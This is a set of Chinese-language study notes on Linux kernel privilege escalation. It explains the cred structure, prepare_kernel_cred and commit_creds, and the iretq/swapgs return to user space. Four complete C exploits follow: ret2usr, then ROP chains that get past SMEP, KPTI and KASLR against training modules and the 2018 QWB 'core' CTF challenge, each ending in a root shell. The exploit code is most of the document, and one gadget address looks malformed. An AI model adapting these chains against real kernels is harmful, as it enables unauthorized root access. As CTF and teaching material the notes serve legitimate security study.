摘抄自https://pawnyable.cafe/linux-kernel/introduction/security.html

部分参考:深入理解LINUX内核

https://yuanfentiank789.github.io/2016/12/31/security1/

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/euid-ruid-suid

task_struct部分结构

主要考虑其中的指向cred的指针

/* 
/ include / linux / sched.h
*/
struct task_struct {
...
/* Process credentials: */

/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
...
}

访问权限相关

从 Linux 内核 6.2`` 开始,NULL 不能再传递给 prepare_kernel_cred。

init_cred仍然存在,因此您可以通过执行 commit_creds (&init_cred) 来进行LPE。

CRED

UID:真实用户ID ,表示发起进程的用户

EUID:被称为有效用户ID ,它代表系统用来确定进程权限的用户身份。

SUID:当高权限进程(通常以 root 身份运行)需要暂时放弃其权限来执行某些任务,以便稍后恢复其初始提升状态时,此保存的用户 ID至关重要。

/*
/include / linux / cred.h
*/
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct ucounts *ucounts;
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
/*
/kernel / cred.c
*/
/*
* The initial credentials for the initial task
*/
struct cred init_cred = {
.usage = ATOMIC_INIT(4),
.uid = GLOBAL_ROOT_UID,
.gid = GLOBAL_ROOT_GID,
.suid = GLOBAL_ROOT_UID,
.sgid = GLOBAL_ROOT_GID,
.euid = GLOBAL_ROOT_UID,
.egid = GLOBAL_ROOT_GID,
.fsuid = GLOBAL_ROOT_UID,
.fsgid = GLOBAL_ROOT_GID,
.securebits = SECUREBITS_DEFAULT,
.cap_inheritable = CAP_EMPTY_SET,
.cap_permitted = CAP_FULL_SET,
.cap_effective = CAP_FULL_SET,
.cap_bset = CAP_FULL_SET,
.user = INIT_USER,
.user_ns = &init_user_ns,
.group_info = &init_groups,
.ucounts = &init_ucounts,
};

cred结构的创建

/*5.14.9*/
/*
/kernel / cred.c
*/
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;

kdebug("prepare_kernel_cred() alloc %p", new);

if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);

validate_creds(old);

*new = *old;
new->non_rcu = 0;
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_uid(new->user);
get_user_ns(new->user_ns);
get_group_info(new->group_info);

#ifdef CONFIG_KEYS
new->session_keyring = NULL;
new->process_keyring = NULL;
new->thread_keyring = NULL;
new->request_key_auth = NULL;
new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING;
#endif

#ifdef CONFIG_SECURITY
new->security = NULL;
#endif
new->ucounts = get_ucounts(new->ucounts);
if (!new->ucounts)
goto error;

if (security_prepare_creds(new, old, GFP_KERNEL_ACCOUNT) < 0)
goto error;

put_cred(old);
validate_creds(new);
return new;

error:
put_cred(new);
put_cred(old);
return NULL;
}

cred的更改

/*
/kernel / cred.c
*/
int commit_creds(struct cred *new)
{
struct task_struct *task = current;
const struct cred *old = task->real_cred;

kdebug("commit_creds(%p{%ld})", new,
atomic_long_read(&new->usage));

BUG_ON(task->cred != old);
BUG_ON(atomic_long_read(&new->usage) < 1);

get_cred(new); /* we will require a ref for the subj creds too */

/* dumpability changes */
if (!uid_eq(old->euid, new->euid) ||
!gid_eq(old->egid, new->egid) ||
!uid_eq(old->fsuid, new->fsuid) ||
!gid_eq(old->fsgid, new->fsgid) ||
!cred_cap_issubset(old, new)) {
if (task->mm)
set_dumpable(task->mm, suid_dumpable);
task->pdeath_signal = 0;
/*
* If a task drops privileges and becomes nondumpable,
* the dumpability change must become visible before
* the credential change; otherwise, a __ptrace_may_access()
* racing with this change may be able to attach to a task it
* shouldn't be able to attach to (as if the task had dropped
* privileges without becoming nondumpable).
* Pairs with a read barrier in __ptrace_may_access().
*/
smp_wmb();
}

/* alter the thread keyring */
if (!uid_eq(new->fsuid, old->fsuid))
key_fsuid_changed(new);
if (!gid_eq(new->fsgid, old->fsgid))
key_fsgid_changed(new);

/* do it
* RLIMIT_NPROC limits on user->processes have already been checked
* in set_user().
*/
if (new->user != old->user || new->user_ns != old->user_ns)
inc_rlimit_ucounts(new->ucounts, UCOUNT_RLIMIT_NPROC, 1);
rcu_assign_pointer(task->real_cred, new);
rcu_assign_pointer(task->cred, new);
if (new->user != old->user || new->user_ns != old->user_ns)
dec_rlimit_ucounts(old->ucounts, UCOUNT_RLIMIT_NPROC, 1);

/* send notifications */
if (!uid_eq(new->uid, old->uid) ||
!uid_eq(new->euid, old->euid) ||
!uid_eq(new->suid, old->suid) ||
!uid_eq(new->fsuid, old->fsuid))
proc_id_connector(task, PROC_EVENT_UID);

if (!gid_eq(new->gid, old->gid) ||
!gid_eq(new->egid, old->egid) ||
!gid_eq(new->sgid, old->sgid) ||
!gid_eq(new->fsgid, old->fsgid))
proc_id_connector(task, PROC_EVENT_GID);

/* release the old obj and subj refs both */
put_cred_many(old, 2);
return 0;
}

返回到用户空间

在 Kernel Exploit 中,我们创建了触发漏洞的程序(进程),因此我们可以通过在 ROP 结束后将 RSP 返回到用户空间,并将 RIP 设置为接受 shell 的函数来返回用户空间。这是一种从用户空间移动到内核空间的方法,但这是通过 CPU 指令切换特权模式来实现的。 从用户空间到内核空间的唯一方法通常是系统调用 syscall 和中断 int。 而要从内核空间返回到用户空间,通常使用 sysretqiretq 指令。 由于 iretqsysretq 更简单,因此内核漏洞利用通常使用 iretq。 此外,从内核返回到用户空间时,必须从内核模式 GS 段切换到用户模式 GS 段。 为此,Intel 提供了 swapgs 指令。

除了用户空间 RSP 和 RIP 之外,还必须将 CS、SS 和 RFLAGS 转换回用户空间 RSP。 RSP 可以位于任何位置,并且 RIP 可以设置为启动 shell 的函数。 其余的 registers 可以用于它们最初在 user space 中的值,所以让我们准备一个辅助函数来存储 registers 的值,如下所示。

实现1.(无保护)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

unsigned long user_cs, user_ss, user_rsp, user_rflags;
unsigned long prepare_kernel_cred = 0xffffffff8106e240;
unsigned long commit_creds = 0xffffffff8106e390;

static void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}

static void restore_state() {
asm volatile("swapgs ;"
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(user_ss),
"r"(user_rsp),
"r"(user_rflags),
"r"(user_cs), "r"(win));
}

static void escalate_privilege() {
char* (*pkc)(int) = (void*)(prepare_kernel_cred);
void (*cc)(char*) = (void*)(commit_creds);
(*cc)((*pkc)(0));
restore_state();
}

void fatal(const char *msg) {
perror(msg);
exit(1);
}

int main() {
save_state();

int fd = open("/dev/holstein", O_RDWR);
if (fd == -1) fatal("open(\"/dev/holstein\")");

char buf[0x410];
memset(buf, 'A', 0x410);
*(unsigned long*)&buf[0x408] = (unsigned long)&escalate_privilege;
write(fd, buf, 0x410);

close(fd);
return 0;
}

实现2(smep保护)

将学习如何利用kernel gadget

sh extract-vmlinux bzImage > vmlinux
ROPgadget --binary vmlinux --only "pop|ret"
ROPgadget --binary vmlinux --only "swapgs|ret"
ROPgadget --binary vmlinux --only "mov|rep|ret"
objdump -S -M intel vmlinux | grep iretq
ROPgadget --binary vmlinux |grep "swapgs"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

unsigned long user_cs, user_ss, user_rsp, user_rflags;
#define prepare_kernel_cred 0xffffffff8106e240
#define commit_creds 0xffffffff8106e390
#define rop_pop_rdi 0xffffffff8127bbdc
#define rop_pop_rcx 0xffffffff8132cdd3
#define rop_mov_rdi_rax_rep_movsq 0xffffffff8160c96b
#define rop_swapgs 0xffffffff8160bf7e
#define rop_iretq 0xffffffff810202af

static void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}

void fatal(const char *msg) {
perror(msg);
exit(1);
}

int main() {
save_state();

int fd = open("/dev/holstein", O_RDWR);
if (fd == -1) fatal("open(\"/dev/holstein\")");

char buf[0x410];
memset(buf, 'A', 0x410);
// *(unsigned long*)&buf[0x408] = (unsigned long)&escalate_privilege;
unsigned long *chain = (unsigned long*)&buf[0x408];
*chain++ = rop_pop_rdi;
*chain++ = 0x0;
*chain++ = prepare_kernel_cred;
*chain++ = rop_pop_rcx;
*chain++ = 0x0;
*chain++ = rop_mov_rdi_rax_rep_movsq;
*chain++ = commit_creds;
*chain++ = rop_swapgs;
*chain++ = rop_iretq;
*chain++ = (unsigned long)&win;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_rsp;
*chain++ = user_ss;
write(fd, buf, (void*)chain - (void*)buf);

close(fd);
return 0;
}

实现3(KPTI保护)

页表保护

如何检查:

cat /sys/devices/system/cpu/vulnerabilities/meltdown

利用swapgs_restore_regs_and_return_to_usermode

或利用:signal(SIGSEGV, win);函数

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

unsigned long user_cs, user_ss, user_rsp, user_rflags;
#define prepare_kernel_cred 0xffffffff8106e240
#define commit_creds 0xffffffff8106e390
#define rop_pop_rdi 0xffffffff8127bbdc
#define rop_pop_rcx 0xffffffff8132cdd3
#define rop_mov_rdi_rax_rep_movsq 0xffffffff8160c96b
#define rop_swapgs 0xffffffff8160bf7e
#define rop_iretq 0xffffffff810202af
#define swapgs_restore_regs_and_return_to_usermode 0xFFFFFFFF81800E26

static void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}

void fatal(const char *msg) {
perror(msg);
exit(1);
}

int main() {
save_state();

int fd = open("/dev/holstein", O_RDWR);
if (fd == -1) fatal("open(\"/dev/holstein\")");

char buf[0x410];
memset(buf, 'A', 0x410);
// *(unsigned long*)&buf[0x408] = (unsigned long)&escalate_privilege;
unsigned long *chain = (unsigned long*)&buf[0x408];
*chain++ = rop_pop_rdi;
*chain++ = 0x0;
*chain++ = prepare_kernel_cred;
*chain++ = rop_pop_rcx;
*chain++ = 0x0;
*chain++ = rop_mov_rdi_rax_rep_movsq;
*chain++ = commit_creds;
*chain++ = swapgs_restore_regs_and_return_to_usermode;
*chain++ = 0;
*chain++ = 0;
*chain++ = (unsigned long*)win;;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_rsp;
*chain++ = user_ss;
write(fd, buf, (void*)chain - (void*)buf);

close(fd);
return 0;
}

实现4(KALSR保护)

以强王杯2018 强网杯 core为例子

https://eternalsakura13.com/2018/03/31/b_core/

// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>


#define READ 0x6677889B
#define OFF 0x6677889C
#define COPY 0x6677889A


void success(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}

void fail(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}

void debug(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void printvar(void handle(const char *), char *hint, size_t var) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "%s: 0x%lx\n", hint, var);
handle(buf);
free(buf);
}
size_t commit_creds,prepare_kernel_cred,off,swapgs_restore_regs_and_return_to_usermode;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
user_sp &= ~0xf;
success("Status has been saved.\n");
printvar(debug, "cs", user_cs);
printvar(debug, "ss", user_ss);
printvar(debug, "rsp", user_sp);
printvar(debug, "rflags", user_rflags);
}

void leakAddr() {
FILE *kallsyms = fopen("/tmp/kallsyms", "r");
while (!commit_creds || !prepare_kernel_cred ) {
size_t addr = 0;
char t[2] = {0}, name[128] = {0};
fscanf(kallsyms, "%lx%s%s", &addr, t, name);
if (!strcmp(name, "commit_creds")) {
commit_creds = addr;
off = commit_creds - 0xFFFFFFFF8109C8E0;
printvar(success, "leak commit_creds", addr);
printvar(debug, "offset", off);
}
if (!strcmp(name, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
off = prepare_kernel_cred - 0xFFFFFFFF8109CCE0;
printvar(success, "leak prepare_kernel_cred", addr);
printvar(debug, "offset", off);
}
}
fclose(kallsyms);
}
int fd;
size_t canary;
void leakcanary(){
char *buf = malloc(1000);
ioctl(fd, OFF, 64);
ioctl(fd, READ, buf);
canary = ((size_t*)buf)[0];
printvar(success, "leak canaryadd", canary);
}

#define rop_pop_rdi off + 0xffffffff81000b2f
#define rop_pop_rcx off + 0xffffffff81021e53
#define rop_pop_rdx off + 0xffffffff810a0f49
#define rop_iretq off + 0xffffffff81050ac2
#define rop_swapgs off + 0xffffffff81a012da
#define rop_mov_rdi_rax_rep_movsq off + 0xffffffff814b15953
#define rop_move_rdi_rax_pop_rbp_mov_rax_rdi_pop_r12_ret off + 0xffffffff813f9ede
void getRootShell() {
success("Backing from the kernelspace.\n");
if(getuid()) {
fail("Failed to get the root!\n");
exit(-1);
}
success("Successful to get the root. Execve root shell now...\n");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}

void pwn() {
fd = open("/proc/core",O_RDWR);
leakAddr();
leakcanary();
unsigned long *chain = calloc(0x800, 1);
unsigned long *start = chain;
for(int i = 0;i!=8;i++){
chain[i] = canary;
}
chain = chain + 8;
*chain++ = canary;
*chain++ = canary;
*chain++ = rop_pop_rdi;
*chain++ = 0x0;
*chain++ = prepare_kernel_cred;
*chain++ = rop_move_rdi_rax_pop_rbp_mov_rax_rdi_pop_r12_ret;
*chain++ = 0x0;
*chain++ = 0x0;
*chain++ = commit_creds;
*chain++ = rop_swapgs;
*chain++ = 0x0;
*chain++ = rop_iretq;
*chain++ = (unsigned long*)getRootShell;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_sp;
*chain++ = user_ss;
write(fd,start,0x800);
ioctl(fd, COPY, 0xffffffffffff0000 | (0x100));//利用整数溢出漏洞

}
int main(){
saveStatus();
pwn();
}